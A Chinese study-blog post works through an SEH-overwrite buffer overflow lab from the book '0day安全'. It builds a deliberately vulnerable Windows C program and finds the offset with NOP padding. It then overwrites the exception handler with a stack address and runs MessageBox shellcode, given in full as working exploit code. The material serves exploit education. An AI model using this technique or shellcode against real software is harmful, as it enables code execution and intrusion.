旧书重温:0day2【11】第6章 狙击windows的异常处理

昨晚经过一番努力,又把第六章的内容温习了一遍!

随手,做了一个实验!狙击windows的异常处理, 顺便也把过程记录了下来!省事!(有图)

今早,论坛一直无法打开!

就推迟到了现在! 哈哈 


正题:

第一个实验就是 狙击windows的异常处理

那么首先,你必须理解什么是windows异常处理

<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op> 
<ignore_js_op> 

接下来我们构造 示例代码
  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <stdio.h>
  4. char shellcode[] = " ";//
  5. DWORD  MyExpectionHandler(void)
  6. {
  7.         printf("this is my expection handler !\n");
  8.         getchar();
  9.         return 0;
  10. }
  11. //
  12. void test(char * input)
  13. {
  14.         char buf[200]={0};
  15.         int zero =0;
  16.         __asm int 3
  17.         __try
  18.         {
  19.                 strcpy(buf,input);
  20.                 zero =4/zero;
  21.         }
  22.         __except(MyExpectionHandler())
  23.         {
  24.                 
  25.         }
  26. }
  27. int APIENTRY WinMain(HINSTANCE hInstance,
  28.                      HINSTANCE hPrevInstance,
  29.                      LPSTR     lpCmdLine,
  30.                      int       nCmdShow)
  31. {
  32.         // TODO: Place code here.
  33.         
  34.         test(shellcode);
  35.         return 0;
  36. }
复制代码
以上代码是我们构造的有溢出漏洞的代码,其中shellcode还没确定!

其test函数中的strcpy直接将shellcode拷贝到buf中,当shellcode长度,足够长时

就会溢出,溢出数据可以淹没我们添加的异常处理表数据

接下来的除0,将导致异常

这时候,异常处理开始执行!

如果我们的溢出的数据控制了异常处理结构,就可以控制流程执行我们的代码!


接下来的思路是首先od调试,来确定多长可以淹没我们想控制的地方

注意:我们必须使用int3来中断,od附加调试!不能直接用vc调试!原因:异常出现,vc将捕获异常!而不执行我们的异常处理

足够长的shellcode
  1. char shellcode[] =
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  14. //共 20×12 = 240 
复制代码
<ignore_js_op> 
调试下,当执行过rep movs (这一句相当strcpy)后,栈数据区,被我们的90909090填充! 通过od标注,我们发现我们的代码

/240- 4×7 +1  = 213 处为“SHE处理程序”

我们通过溢出覆盖此处
  1. char shellcode[] = 
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. //200
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x91\x92\x93\x94";
复制代码
<ignore_js_op> 

这样调试,可以91-94处覆盖“SHE处理程序” 处

接下来我们来将91-94替换我们的shellcode地址

<ignore_js_op> 
我们可以发现 我们的shellcode地址为:0x0012FE4C
  1. char shellcode[] = 
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  12. //200
  13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";
复制代码
在0x12FE4C处下硬件执行断点。

我们将捕获到此断点
<ignore_js_op> 

这说明我们控制啦,CPU,将shellcode 填充我们的 msg shellcode .
  1. char shellcode[] = 
  2. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  3. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  4. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  5. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  6. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  7. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  8. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  9. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  10. "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  11. "\x90\x90"\
  12. //22 * 9 = 198
  13. //200
  14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";
复制代码
为了不破坏代码布局,我直接把断点int 3 改为nop

运行 后 弹出 msg 

<ignore_js_op> 

最后附上 最终版代码
  1. // 0day_6.cpp : Defines the entry point for the application.
  2. //
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. #include <stdio.h>
  6. char shellcode[] = 
  7. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
  8. "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
  9. "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
  10. "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
  11. "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
  12. "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
  13. "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
  14. "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
  15. "\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
  16. "\x90\x90"\
  17. //22 * 9 = 198
  18. //200
  19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4C\xFE\x12\x00";
  20. //                                                                                         
  21. // 20*12 = 240
  22.                                         
  23. DWORD  MyExpectionHandler(void)
  24. {
  25.         printf("this is my expection handler !\n");
  26.         getchar();
  27.         return 0;
  28. }
  29. //
  30. void test(char * input)
  31. {
  32.         char buf[200]={0};
  33.         int zero =0;
  34.         __asm nop
  35.         __try
  36.         {
  37.                 strcpy(buf,input);
  38.                 zero =4/zero;
  39.         }
  40.         __except(MyExpectionHandler())
  41.         {
  42.                 
  43.         }
  44. }
  45. int APIENTRY WinMain(HINSTANCE hInstance,
  46.                      HINSTANCE hPrevInstance,
  47.                      LPSTR     lpCmdLine,
  48.                      int       nCmdShow)
  49. {
  50.         // TODO: Place code here.
  51.         
  52.         test(shellcode);
  53.         return 0;
  54. }
复制代码
PS: 这个只是实验!源自书《0day安全:软件漏洞分析技术》 

重现漏洞! 很基础!

有兴趣的同学可以一起学习下
posted @ 2014-05-14 16:31  zhenw0  Views(342)  Comments(0Edit  收藏  举报